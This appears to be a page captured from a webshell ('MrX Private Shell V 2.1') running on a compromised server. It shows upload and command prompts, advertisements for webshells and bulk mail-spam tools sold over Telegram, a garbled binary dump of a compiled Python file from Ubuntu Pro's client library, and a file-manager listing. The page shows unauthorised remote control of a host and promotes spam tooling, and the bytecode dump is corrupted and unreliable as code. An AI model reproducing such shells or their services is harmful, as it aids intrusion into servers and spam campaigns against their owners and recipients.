__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
�

��gW�����SSKrSSKrSSKrSSKJr SSKJrJrJrJ	r	J
r
 SSKJs J
r SSKJrJrJrJrJrJrJrJrJr SSKJr SSKJr SSKJr SSKJ r  SS	K!J"r"J#r# SS
K$J%r% SSK&J'r' Sr(S
r)S
r*Sr+Sr,Sr-Sr.Sr/Sr0Sr1Sr2Sr3SSSSS.r4\Rj"5r6\Rn"\Rp"\955r:\"SSS/5r;"SS\Rx5r="SS \%R|5r?S!\@4S"jrAS>S#\S$\\B\4S%\\B\4S&\CS'\CS(S4S)jjrDS?S#\S*\\B\4S+\\B\4S&\CS'\CS(\
\\C44S,jjrES-\R�S(\R�4S.jrHS#\4S/jrIS#\S(\\4S0jrJS#\S1\BS(\\B\44S2jrKS3\\B\B4S4\\B\B4S(\L4S5jrMS@S6\\B\4S7\BS8\BS\	\BS(\\L\\B\444
S9jjrNSAS*\\B\4S:\	\BS\	\BS(S4S;jjrOS#\S<\\B\4S(\\;4S=jrPg)B�N)�
namedtuple)�Any�Dict�List�Optional�Tuple)	�
data_types�event_logger�
exceptions�http�messages�secret_manager�system�util�version)�_enabled_services)�_is_attached)�UAConfig)�ATTACH_FAIL_DATE_FORMAT)�attachment_data_file�machine_id_file)�
serviceclient)�get_user_or_root_log_file_pathz/v1/context/machines/tokenz3/v1/contracts/{contract}/context/machines/{machine}z
/v1/resourcesz3/v1/resources/{resource}/context/machines/{machine}z/v1/clouds/{cloud_type}/tokenz3/v1/contracts/{contract}/machine-activity/{machine}z/v1/contractz/v1/magic-attachz?/v1/contracts/{contract}/context/machines/{machine}/guest-token����)�series_overrides�series�cloud�variant�EnableByDefaultService�namer!c���\rSrSr\R
"S\RSS9\R
"S\RSS9\R
"S\RSS9\R
"S\RSS9\R
"S\RSS9\R
"S	\RSS9\R
"S
\RSS9\R
"S\RSS9\R
"S\RSS9\R
"S
\RSS9\R
"S\RSS9\R
"S\RSS9\R
"S\RSS9\R
"S\RSS9/rSS\\	S\\	S\\	S\\	S\\	S	\\	S
\\	S\\	S\\	S
\\	S\\	S\\	S\\	S\\	4Sjjr
Srg)�CPUTypeData�F�cpuinfo_cpuF)�required�cpuinfo_cpu_architecture�cpuinfo_cpu_family�cpuinfo_cpu_implementer�cpuinfo_cpu_part�cpuinfo_cpu_revision�cpuinfo_cpu_variant�
cpuinfo_model�cpuinfo_model_name�cpuinfo_stepping�cpuinfo_vendor_id�"sys_firmware_devicetree_base_model�
sysinfo_model�sysinfo_typeNc��XlX lX0lX@lXPlX`lXplX�lX�lX�l	X�l
UUlX�lX�l
g�N�r'r)r*r+r,r-r.r/r0r1r2r3r4r5)�selfr'r)r*r+r,r-r.r/r0r1r2r3r4r5s               �3/usr/lib/python3/dist-packages/uaclient/contract.py�__init__�CPUTypeData.__init__zs_��"'��(@�%�"4��'>�$� 0��$8�!�#6� �*��"4�� 0��!2��.�	
�/�+��(��r8)NNNNNNNNNNNNNN)�__name__�
__module__�__qualname__�__firstlineno__r	�Field�StringDataValue�fieldsr�strr;�__static_attributes__�r=r:r%r%Fs�������:�5�5��	
�	���&��&�&��	
�
	��� �*�"<�"<�u�	
�	���%��&�&��	
�
	����
� :� :�U�	
�	���"�J�$>�$>��	
�	���!�:�#=�#=��	
�	����Z�7�7�%�	
�	��� �*�"<�"<�u�	
�	����
� :� :�U�	
�	�����!;�!;�e�	
�	���0��&�&��	
�
	����Z�7�7�%�	
�	����J�6�6��	
�]1�F�j&*�26�,0�15�*.�.2�-1�'+�,0�*.�+/�<@�'+�&*� )��c�]� )�#+�3�-� )�%�S�M�	 )�
"*�#�� )�#�3�-�
 )�'�s�m� )�&�c�]� )� ��}� )�%�S�M� )�#�3�-� )�$�C�=� )�-5�S�M� )� ��}� )��s�m� )� )r=r%c�^�\rSrSrSrSS\\SS4U4Sjjjr\R"\
R/SQS9SS	j5rS\
\\44S
jrS\S\
\\44Sjr\R"\
R/SQS9S
\S\
\\44Sj5rSS\S\S\\S\
\\44SjjrSrS\S\
\\44SjrS\
\\44SjrS\4SjrSS\S\S\\S\
\\44SjjrSS\S\S\\S\
4SjjrS\S\S\S\
4SjrSrSrU=r$) �UAContractClient��contract_urlN�cfg�returnc�T>�[TU]US9 [R"5Ulg)N�rL)�superr;�mtf�get_machine_token_file�machine_token_file)r9rL�	__class__s  �r:r;�UAContractClient.__init__�s&���	���S��!�"%�"<�"<�">��r=)rrr)�retry_sleepsc�F�U(d [R"UR5nUR5nUR	SSRU505 UR
5nUR5US'X5S.n[U5nUR[XtS9nURS:Xa[R"5eURS:Xa[U5 URS:wa.[R"[URUR S	9eUR"n	[$R&R)U	R+S
S55 U	R+S/5H2n
[$R&R)U
R+S
S55 M4 U	$)aMRequests machine attach to the provided machine_id.

@param contract_token: Token string providing authentication to
    ContractBearer service endpoint.
@param machine_id: Optional unique system machine id. When absent,
    contents of /etc/machine-id will be used.

@return: Dict of the JSON response containing the machine-token.
�
Authorization�	Bearer {}�lastAttachment��	machineId�activityInfo)�data�headers�i�����url�code�body�machineToken��resourceTokens�token)r�get_machine_idrLr_�update�format�_get_activity_info�	isoformat�_support_old_machine_info�request_url�API_V1_ADD_CONTRACT_MACHINErdr�AttachInvalidTokenError�_raise_attach_forbidden_message�ContractAPIErrorre�	json_dictr�secrets�
add_secret�get)r9�contract_token�
attachment_dt�
machine_idr_�
activity_infor^�backcompat_data�response�
response_jsonris           r:�add_contract_machine�%UAContractClient.add_contract_machine�sa����.�.�t�x�x�8�J��,�,�.�������);�);�N�)K�L�M��/�/�1�
�*7�*A�*A�*C�
�&�'�'�G��3�D�9���#�#�'�o�$�
���=�=�C���4�4�6�6�
�]�]�c�
!�+�H�5��=�=�C���-�-�/��]�]��]�]��
�
!�*�*�
����)�)����n�b�1�	
�#�&�&�'7��<�E��"�"�-�-�e�i�i���.D�E�=��r=c��UR5nUR[USUSUSUSS.S9nURS:wa.[R
"[URURS9eUR$)	z=Requests list of entitlements available to this machine type.�architecturer�kernel�virt�r�rr�r�)�query_paramsrarb)rmrp�API_V1_AVAILABLE_RESOURCESrdrrtreru)r9r|r~s   r:�available_resources�$UAContractClient.available_resources�s����/�/�1�
��#�#�&� -�n� =�'��1�'��1�%�f�-�	�$�
���=�=�C���-�-�.��]�]��]�]��
�
�!�!�!r=ryc�"�UR5nURSSRU505 UR[US9nUR
S:wa.[R"[UR
URS9eUR$)NrXrY�r_rarb)
r_rkrlrp�API_V1_GET_CONTRACT_USING_TOKENrdrrtreru)r9ryr_r~s    r:�get_contract_using_token�)UAContractClient.get_contract_using_token�s����,�,�.�������);�);�N�)K�L�M��#�#�+�W�$�
���=�=�C���-�-�3��]�]��]�]��
�
�!�!�!r=�
cloud_typer^c���UR[RUS9US9nURS:wazURRSS5nU(a)[RU5 [R"US9e[R"[URURS9eURn[RRURSS55 U$)	z�Requests contract token for auto-attach images for Pro clouds.

@param instance: AutoAttachCloudInstance for the cloud.

@return: Dict of the JSON response containing the contract-token.
)r�)r^ra�messagerg)�	error_msgrb�
contractToken)rp�,API_V1_GET_CONTRACT_TOKEN_FOR_CLOUD_INSTANCErlrdrurx�LOG�debugr�InvalidProImagertrerrvrw)r9r�r^r~�msgrs      r:�%get_contract_token_for_cloud_instance�6UAContractClient.get_contract_token_for_cloud_instance�s����#�#�8�?�?�%�
@�
��	$�
���=�=�C���$�$�(�(��B�7�C���	�	�#�� �0�0�3�?�?��-�-�@��]�]��]�]��
�!�*�*�
����)�)����o�r�2�	
��r=�
machine_token�resourcer{c��U(d [R"UR5nUR5nUR	SSRU505 [RX#S9nURXTS9nURS:wa.[R"[URURS9eURRS5(aURSURS'URnURS/5H2n[RR!URS	S
55 M4 U$)avRequests machine access context for a given resource

@param machine_token: The authentication token needed to talk to
    this contract service endpoint.
@param resource: Entitlement name.
@param machine_id: Optional unique system machine id. When absent,
    contents of /etc/machine-id will be used.

@return: Dict of the JSON response containing entitlement accessInfo.
rXrY)r��machiner�rarb�expiresrhrirg)rrjrLr_rkrl�"API_V1_GET_RESOURCE_MACHINE_ACCESSrprdrrtrerxrurrvrw)	r9r�r�r{r_rcr~rris	         r:�get_resource_machine_access�,UAContractClient.get_resource_machine_accesss�� ��.�.�t�x�x�8�J��,�,�.�������);�);�M�)J�K�L�0�7�7��8�
���#�#�C�#�9���=�=�C���-�-�6��]�]��]�]��
�
�����	�*�*�,4�,<�,<�Y�,G�H���y�)� �*�*�
�"�&�&�'7��<�E��"�"�-�-�e�i�i���.D�E�=��r=c��URRnURRRS5n[R
"UR5nUR5n[RXS9nUR5nURSSRU505 URXVUS9nURS:wa)[R"XWRUR S9eUR"(aAURRnUR"US'URR%U5 g	g	)
z�Report current activity token and enabled services.

This will report to the contracts backend all the current
enabled services in the system.
rf��contractr�rXrY)r_r^rarbr]N)rS�contract_idr�rxrrjrLrm�API_V1_UPDATE_ACTIVITY_TOKENrlr_rkrprdrrtreru�write)r9r�r�r{�request_datarcr_r~s        r:�update_activity_token�&UAContractClient.update_activity_token;s!���-�-�9�9���/�/�=�=�A�A��
�
��*�*�4�8�8�4�
��.�.�0��*�1�1� �2�
���,�,�.�������);�);�M�)J�K�L��#�#�C�|�#�L���=�=�C���-�-��m�m�(�-�-��
���� �3�3�A�A�M�-5�,>�,>�M�.�)��#�#�)�)�-�8�r=�magic_tokenc�2�UR5nURSSRU505 UR[US9nUR
S:Xa[R"5eUR
S:Xa[R"5eUR
S:wa.[R"[UR
URS9eURn/SQnUH2n[RRURUS	55 M4 U$)
z�Request magic attach token info.

When the magic token is registered, it will contain new fields
that will allow us to know that the attach process can proceed
rXrYr�r`�rarb�ri�userCoder�rg)r_rkrlrp�"API_V1_GET_MAGIC_ATTACH_TOKEN_INFOrdr�MagicAttachTokenError�MagicAttachUnavailablertrerurrvrwrx)r9r�r_r~r�
secret_fields�fields       r:�get_magic_attach_token_info�,UAContractClient.get_magic_attach_token_infocs����,�,�.�������);�);�K�)H�I�J��#�#�.��$�
���=�=�C���2�2�4�4��=�=�C���3�3�5�5��=�=�C���-�-�6��]�]��]�]��
�
!�*�*�
�>�
�"�E��"�"�-�-�m�.?�.?��r�.J�K�#��r=c��UR5nUR[USS9nURS:Xa[R
"5eURS:wa.[R"[URURS9eURn/SQnUH2n[RRURUS55 M4 U$)z)Create a magic attach token for the user.�POST�r_�methodr�rarbr�rg)
r_rp�API_V1_NEW_MAGIC_ATTACHrdrr�rtrerurrvrwrx)r9r_r~rr�r�s      r:�new_magic_attach_token�'UAContractClient.new_magic_attach_tokens����,�,�.���#�#�#���$�
���=�=�C���3�3�5�5��=�=�C���-�-�+��]�]��]�]��
�
!�*�*�
�>�
�"�E��"�"�-�-�m�.?�.?��r�.J�K�#��r=c���UR5nURSSRU505 UR[USS9nUR
S:Xa[R"5eUR
S:Xa[R"5eUR
S:Xa[R"5eUR
S:wa.[R"[UR
URS	9eg
)z)Revoke a magic attach token for the user.rXrY�DELETEr��r`r�rarbN)r_rkrlrp�API_V1_REVOKE_MAGIC_ATTACHrdr� MagicAttachTokenAlreadyActivatedr�r�rtre)r9r�r_r~s    r:�revoke_magic_attach_token�*UAContractClient.revoke_magic_attach_token�s����,�,�.�������);�);�K�)H�I�J��#�#�&���$�
���=�=�C���=�=�?�?��=�=�C���2�2�4�4��=�=�C���3�3�5�5��=�=�C���-�-�.��]�]��]�]��
� r=r�c
�D�U(d [R"UR5nUR5nUR	SSRU505 [RUUS9nUR5nURUSUUSUSUSUSS	.S
9nURS:wa)[R"XWRURS9eURRS
5(aURS
URS
'UR$)aLGet the updated machine token from the contract server.

@param machine_token: The machine token needed to talk to
    this contract service endpoint.
@param contract_id: Unique contract id provided by contract service
@param machine_id: Optional unique system machine id. When absent,
    contents of /etc/machine-id will be used.
rXrYr��GETr�rr�r�r�)r�r_r�rarbr�)rrjrLr_rkrl�API_V1_GET_CONTRACT_MACHINErmrprdrrtrerxru)r9r�r�r{r_rcr|r~s        r:�get_contract_machine�%UAContractClient.get_contract_machine�s����.�.�t�x�x�8�J��,�,�.�������);�);�M�)J�K�L�)�0�0� ��1�
���/�/�1�
��#�#���� -�n� =�'��1�'��1�%�f�-�	�	$�

���=�=�C���-�-��m�m�(�-�-��
������	�*�*�,4�,<�,<�Y�,G�H���y�)��!�!�!r=c�:�U(d [R"UR5nUR5nUR	SSRU505 UUR
5S.n[U5n[RX#S9nURXtSUS9nURS:wa)[R"XxRURS9eURRS	5(aURS	URS	'UR$)
a�Request machine token refresh from contract server.

@param machine_token: The machine token needed to talk to
    this contract service endpoint.
@param contract_id: Unique contract id provided by contract service.
@param machine_id: Optional unique system machine id. When absent,
    contents of /etc/machine-id will be used.

@return: Dict of the JSON response containing refreshed machine-token
rXrYr[r�r�)r_r�r^rarbr�)rrjrLr_rkrlrmro�API_V1_UPDATE_CONTRACT_MACHINErprdrrtrerxru)	r9r�r�r{r_r^r}rcr~s	         r:�update_contract_machine�(UAContractClient.update_contract_machine�s�� ��.�.�t�x�x�8�J��,�,�.�������);�);�M�)J�K�L�#� �3�3�5�
��4�D�9��,�3�3� �4�
���#�#���o�$�
���=�=�C���-�-��m�m�(�-�-��
������	�*�*�,4�,<�,<�Y�,G�H���y�)��!�!�!r=c��UR5nURSSRU505 [RUUS9nUR	XTSS9nUR
S:Xa[R"SS9eUR
S	:wa*[R"UUR
URS
9eUR$)ayRequest guest token associated with this machine's contract
@param machine_token: The machine token needed to talk to
    this contract service endpoint.
@param contract_id: Unique contract id provided by contract service
@param machine_id: Unique machine id that was registered with the pro
    backend on attach.
@return: Dict of the JSON response containing the guest token
rXrYr�r�r�r��get_guest_token)�feature_namerarb)r_rkrl�API_V1_GET_GUEST_TOKENrprdr� FeatureNotSupportedOldTokenErrorrtreru)r9r�r�r{r_rcr~s       r:r�� UAContractClient.get_guest_tokens����,�,�.�������);�);�M�)J�K�L�$�+�+� ��,�
���#�#�C��#�G���=�=�C���=�=�.��
��]�]�c�
!��-�-���]�]��]�]��
�
�!�!�!r=c�P�[R"5n[R"5R[R"5R
[R"5R[R"5[R"5[R"5[R"5[URURURUR UR"UR$UR&UR(UR*UR,UR.UR0UR2UR4S9R7SS9S.n[9UR:5R<(Ga[?UR:5R@n[BRD"5nURFRH=(d  [RJ"UR:5URFRLUVs/sHoURNPM snUVs0sH-nURP(dMURNURR_M/ snU(aURTRW5OSS.nO0n0UEUE$s snfs snf)z9Return a dict of activity info data for contract requestsr8F)�	keep_none)�distributionr�rr��desktopr��
clientVersion�cpu_typeN)�
activityID�
activityToken�	resources�resourceVariantsrZ),r�get_cpu_info�get_release_infor��get_kernel_info�
uname_releaser�
get_dpkg_arch�
is_desktop�
get_virt_typer�get_versionr%r'r)r*r+r,r-r.r/r0r1r2r3r4r5�to_dictrrL�is_attachedr�enabled_servicesr�readrS�activity_idrj�activity_tokenr#�variant_enabled�variant_name�attached_atrn)r9�cpuinfo�machine_infor��attachment_data�servicer|s       r:rm�#UAContractClient._get_activity_info#s���%�%�'��"�3�3�5�B�B��,�,�.�<�<��-�-�/�6�6�"�0�0�2��(�(�*��(�(�*�$�0�0�2�#�#�/�/�)0�)I�)I�#*�#=�#=�(/�(G�(G�!(�!9�!9�%,�%A�%A�$+�$?�$?�%�3�3�#*�#=�#=�!(�!9�!9�")�";�";�3:�3]�3]�%�3�3�$�1�1���g��g�&�/
��4����!�-�-�-�0����:�K�K��2�7�7�9�O�"�5�5�A�A�3��(�(����2�!%�!8�!8�!G�!G�:J�K�:J�w�l�l�:J�K�$4�%�#3���.�.�7�G�L�L�'�"6�"6�6�#3�%�'�$�/�/�9�9�;���M�"�M�
��
��
�	
��L��%s�J�:J#
�J#
)rSr7)r>r?r@rA�cfg_url_base_attrrrr;r�retry�socket�timeoutr�rrErr�r�r�r�r�r�r�r�r�r�r�rmrF�
__classcell__)rTs@r:rIrI�s����&��#'�?�
�h�
�?�
�?�?�
�Z�Z����Y�7�8<�(�8�(�T"�T�#�s�(�^�"�("�s�"�t�C��H�~�"�
�Z�Z����Y�7�� ��(,�S�#�X���8��H%)�	$��$��$��S�M�	$�

�c�3�h��$�L&9�P�s��t�C��H�~��8��S�#�X���.�S��6%)�	)"��)"��)"��S�M�	)"�

�c�3�h��)"�^%)�	&"��&"��&"��S�M�	&"�

�&"�P!"��!"��!"��	!"�

�!"�F7
�7
r=rI�request_bodyc	��URS05nURS5UURS5URS5URS5URS5S[R"5RS.S	.$)
a'
Transforms a request_body that has the new activity_info into a body that
includes both old and new forms of machineInfo/activityInfo

This is necessary because there may be old ua-airgapped contract
servers deployed that we need to support.
This function is used for attach and refresh calls.
r]r\r�r�r�r�Linux)r�r�r�type�release)r\r]r��os)rxrr�r�)r�r|s  r:roro]s���!�$�$�^�R�8�M�"�%�%�k�2�%�%�)�)�.�9�)�-�-�n�=�#�'�'��1�#�'�'��1���.�.�0�8�8�
�	
�
r=rL�past_entitlements�new_entitlements�allow_enablerrMc��SSKJn Sn/n/nU"U5HQn	X)n
/n[UUR	U	05U
UUS9up�U(a U(a[
R
U	5 MOMQMS [
RU5 [U5S:�aa[R "[#X�5V	Vs/sH6up�U	[$R&R)[+U5[-5S	94PM8 snn	S
9eU(a5[R."UV	s/sHn	U	[$R04PM sn	S
9eg![a GM%f=f![RaKn
[RU
5 SnURU	5 [RSU	U
5 Sn
A
GM�Sn
A
f[aZn
[RU
5 URU
5 URU	5 [RSU	U
5 Sn
A
GM�Sn
A
ff=fs snn	fs sn	f)a}Iterate over all entitlements in new_entitlement and apply any delta
found according to past_entitlements.

:param cfg: UAConfig instance
:param past_entitlements: dict containing the last valid information
    regarding service entitlements.
:param new_entitlements: dict containing the current information regarding
    service entitlements.
:param allow_enable: Boolean set True if allowed to perform the enable
    operation. When False, a message will be logged to inform the user
    about the recommended enabled service.
:param series_overrides: Boolean set True if series overrides should be
    applied to the new_access dict.
r)�entitlements_enable_orderF)rL�orig_access�
new_accessrrTz+Failed to process contract delta for %s: %rNz5Unexpected error processing contract delta for %s: %r)r��log_path)�failed_services)�uaclient.entitlementsr�KeyError�process_entitlement_deltarx�event�service_processedr�UbuntuProErrorr��	exception�append�error�	Exception�services_failed�len�AttachFailureUnknownError�zipr
�UNEXPECTED_ERRORrlrEr�AttachFailureDefaultServices�!E_ATTACH_FAILURE_DEFAULT_SERVICES)rLrrrrr�delta_error�unexpected_errorsr	r#�new_entitlement�deltas�service_enabled�ers               r:�process_entitlements_deltar!xs��*@��K����O�)�#�.��	�.�4�O���	.�&?��-�1�1�$��;�*�)�!1�'�#�F�8�6��'�'��-�$*��I/�L
���/�*�
����!��2�2�(+�?�'N�	�(O�O�D�
��-�-�4�4�"%�i�.�!?�!A�5���(O�	�
�	
�
��5�5�,��+�D��x�A�A�B�+��
�	
�
��c�	��	���(�(�	��M�M�!���K��"�"�4�(��I�I�=���
�
��
�	��M�M�!���$�$�Q�'��"�"�4�(��M�M�G���
�
��		��"	��sA�D,�D>�,=H
�
H�,
D;�:D;�>G?�?F�
G?�%AG:�:G?rrc�<�SSKJn U(a[U5 [R"X5nSnU(a�URS05RS5nU(d!URS05RS5nU(d[R"XS9eURS05RS05RS	S
5n	U"UUU	S9n
U
RXUS9nXg4$![Ran[RSU5 UeS
nAff=f)a�Process a entitlement access dictionary deltas if they exist.

:param cfg: UAConfig instance
:param orig_access: Dict with original entitlement access details before
    contract refresh deltas
:param new_access: Dict with updated entitlement access details after
    contract refresh
:param allow_enable: Boolean set True if allowed to perform the enable
    operation. When False, a message will be logged to inform the user
    about the recommended enabled service.
:param series_overrides: Boolean set True if series overrides should be
    applied to the new_access dict.

:raise UbuntuProError: on failure to process deltas.
:return: A tuple containing a dict of processed deltas and a
         boolean indicating if the service was fully processed
r��entitlement_factoryF�entitlementr�)�orig�new�entitlements�obligations�use_selectorrg�rLr#r!z3Skipping entitlement deltas for "%s". No such classN�r)r
r$�apply_contract_overridesr�get_dict_deltasrxr� InvalidContractDeltasServiceType�EntitlementNotFoundErrorr�r��process_contract_deltas)rLrrrrr$r�retr#r!r%�excs            r:rr�s��0:�� ��,�
�
!�
!�+�
:�F�
�C�
����}�b�1�5�5�f�=����:�:�m�R�0�4�4�V�<�D���=�=� ��
�

�N�N�>�2�.�
�S���
#�
�S���
$�	�

	�-�����K��1�1��l�2�
���;����2�2�	��I�I�E�t�
��I��		�s�C*�*D�>D�Dr~c���URRS5nU(a�USnUSnUS:Xa@USR[5n[R
"UUUSRS5S9eUS:Xa@USR[5n[R"UUUSRS5S	9eUS
:Xa[R"US9e[R"5e)N�info�
contractId�reasonzno-longer-effective�timez%m-%d-%Y)r��date�contract_expiry_dateznot-effective-yet)r�r9�contract_effective_dateznever-effective)r�)	rurx�strftimerr�AttachForbiddenExpired�AttachForbiddenNotYet�AttachForbiddenNever�AttachExpiredToken)r~r5r�r7r9s     r:rsrss������!�!�&�)�D���<�(���h����*�*���<�(�(�)@�A�D��3�3�'��%)�&�\�%:�%:�:�%F�	�
��*�
*���<�(�(�)@�A�D��2�2�'��(,�V��(=�(=�j�(I�	�
��(�
(��1�1�k�J�J�
�
'�
'�
)�)r=c���[R"U5nUR5nURnUSnUSSSn[	US9nURXES9nUR
U5 [RR5 URS05RS[R"U55n[R"U5 [UUUR5SS	9 g
)z�Request contract refresh from ua-contracts service.

:raise UbuntuProError: on failure to update contract or error processing
    contract deltas
:raise ConnectivityError: On failure during a connection
rf�machineTokenInfo�contractInfo�idrO)r�r�r\Fr,N)
rQrRr(r�rIr�r�rrj�cache_clearrxrr!)	rLrS�orig_entitlements�
orig_tokenr�r��contract_client�respr{s	         r:�refreshrJ.s����3�3�C�8��*�7�7�9��#�1�1�J��~�.�M��/�0��@��F�K�&�3�/�O��2�2�#�3��D����T�"�
���%�%�'����,�b�1�5�5��V�*�*�3�/��J����*�%�����'�'�)��	r=c�\�[U5nUR5nURS/5$)zDQuery available resources from the contract server for this machine.r�)rIr�rx)rL�clientr�s   r:�get_available_resourcesrMOs+��
�c�
"�F��*�*�,�I��=�=��b�)�)r=ric�:�[U5nURU5$)z/Query contract information for a specific token)rIr�)rLrirLs   r:�get_contract_informationrOVs��
�c�
"�F��*�*�5�1�1r=�override_selector�selector_valuesc��SnUR5H(up4X44UR5;a gU[U-
nM* U$)Nr)�items�OVERRIDE_SELECTOR_WEIGHTS)rPrQ�override_weight�selector�values     r:�_get_override_weightrX\sM���O�,�2�2�4�����O�$9�$9�$;�;���4�X�>�>��5�
�r=r%�series_namer�c�@�0nXS.nU(aX5S'URS05RU05nU(aUU[S'[R"UR	S/55nUH+n[URS5U5n	U	(dM'X�U	'M- U$)N)rr r!rr�	overridesrV)�poprT�copy�deepcopyrxrX)
r%rYr�r!r[rQr�general_overrides�override�weights
          r:�_select_overridesrbhs����I�!,�B�O��%,�	�"�"���x��4�8�8��b�I����	�+�,>�?�@��
�
�k�o�o�k�2�&F�G��%��%��L�L��$�o�
���6� (�f��&��r=rc��SSKJn [[U[5SU;/5(d[SR
U55eUc[R"5ROUnU"5upVURS05n[XtXR5n[UR55Haup�U
R5HHup�USRU5n
[U
[5(aU
RU5 MAX�SU'MJ Mc g)aoApply series-specific overrides to an entitlement dict.

This function mutates orig_access dict by applying any series-overrides to
the top-level keys under 'entitlement'. The series-overrides are sparse
and intended to supplement existing top-level dict values. So, sub-keys
under the top-level directives, obligations and affordance sub-key values
will be preserved if unspecified in series-overrides.

To more clearly indicate that orig_access in memory has already had
the overrides applied, the 'series' key is also removed from the
orig_access dict.

:param orig_access: Dict with original entitlement access details
r)�get_cloud_typer%z?Expected entitlement access dict. Missing "entitlement" key: {}N)�uaclient.clouds.identityrd�all�
isinstance�dict�RuntimeErrorrlrr�rrxrb�sortedrSrk)rrr!rdrYr��_�orig_entitlementr[�_weight�overrides_to_apply�keyrW�currents              r:r-r-�s���&8��
�;��-�}��/K�L�M�M��
��&��%�
�	
�-3�N����!�(�(���#�$�M�J�"���}�b�9��!��z��I�(.�i�o�o�.?�'@�#��,�2�2�4�J�C�!�-�0�4�4�S�9�G��'�4�(�(����u�%�38�M�*�3�/�5�(Ar=r(c���SSKJn /nUR5H�upEURS05RSS5nU"XUS9nURS05RS05nURS5n	UR
X�5(dMzUR5up�U
(dM�UR[UUS	95 M� U$![R
a M�f=f)
Nrr#r)r*rgr+r%�
resourceToken)r#r!)
r
r$rSrxrr0�_should_enable_by_default�
can_enablerr")rLr(r$�enable_by_default_services�ent_name�	ent_valuer!�entr)rrrtrks            r:�get_enabled_by_default_servicesry�s���:�!#��+�1�1�3����-�-�
�r�2�6�6�~�r�J��	�%�#�g�N�C� �m�m�M�2�6�:�:�=�"�M��!�
�
�o�6�
��(�(��D�D��N�N�,�M�J��z�*�1�1�*�%� '��� 4�*&�%��!�2�2�	��	�s�C
�
C%�$C%)T)FTr7)NN)Qr]�loggingr��collectionsr�typingrrrrr�uaclient.files.machine_token�filesr�rQ�uaclientr	r
rrr
rrrr�-uaclient.api.u.pro.status.enabled_services.v1r�(uaclient.api.u.pro.status.is_attached.v1r�uaclient.configr�uaclient.defaultsr�uaclient.files.state_filesrr�
uaclient.httpr�uaclient.logrrqr�r�r�r�r�r�r�r�r�r�r�rT�get_event_loggerr
�	getLogger�replace_top_level_logger_namer>r�r"�
DataObjectr%�UAServiceClientrIrhrorE�boolr!r�HTTPResponse�NamedMessagersrJrMrO�intrXrbr-ryrGr=r:�<module>r�sC����
�"�3�3�*�*�
�
�
�L�A�$�5�L�'�7�;��9��:��-��9�#�0O�,�9��#1��%7�"�,��/��F��
��
��	��	�%�%�'��
����:�:�8�D�E��$��v�y�1���
T)�*�'�'�T)�n}
�}�4�4�}
�@�D��@"�W
�	�W
��C��H�~�W
��3��8�n�W
��	W
�
�W
�
�
W
�|�!�<�	�<��c�3�h��<��S�#�X��<��	<�
�<��4��:��
<�~*����*�
���*�:���B*��*�d�4�j�*�2�(�2�3�2�4��S��>�2�	��C��H�~�	�8<�S�#�X��	��	� "�	��c�3�h��������c�]�	�

�#�t�C��H�~�
���>!�!�.8��c�3�h��.8��S�M�.8��c�]�.8�
�	.8�b&�	�&�!%�c�3�h��&�	�
 �!�&r=

Filemanager

Name Type Size Permission Actions
__init__.cpython-313.pyc File 148 B 0644
actions.cpython-313.pyc File 18.6 KB 0644
apt.cpython-313.pyc File 43.75 KB 0644
apt_news.cpython-313.pyc File 11.98 KB 0644
config.cpython-313.pyc File 25.18 KB 0644
contract.cpython-313.pyc File 38.45 KB 0644
contract_data_types.cpython-313.pyc File 11.96 KB 0644
data_types.cpython-313.pyc File 20.03 KB 0644
defaults.cpython-313.pyc File 3.9 KB 0644
event_logger.cpython-313.pyc File 10.3 KB 0644
exceptions.cpython-313.pyc File 35.47 KB 0644
gpg.cpython-313.pyc File 1.34 KB 0644
livepatch.cpython-313.pyc File 16.32 KB 0644
lock.cpython-313.pyc File 6.38 KB 0644
log.cpython-313.pyc File 7.58 KB 0644
secret_manager.cpython-313.pyc File 1.64 KB 0644
security_status.cpython-313.pyc File 28.89 KB 0644
snap.cpython-313.pyc File 9.61 KB 0644
status.cpython-313.pyc File 33.61 KB 0644
system.cpython-313.pyc File 35.37 KB 0644
types.cpython-313.pyc File 573 B 0644
update_contract_info.cpython-313.pyc File 1.77 KB 0644
upgrade_lts_contract.cpython-313.pyc File 4.38 KB 0644
util.cpython-313.pyc File 17.73 KB 0644
version.cpython-313.pyc File 3.7 KB 0644
yaml.cpython-313.pyc File 1.97 KB 0644
Filemanager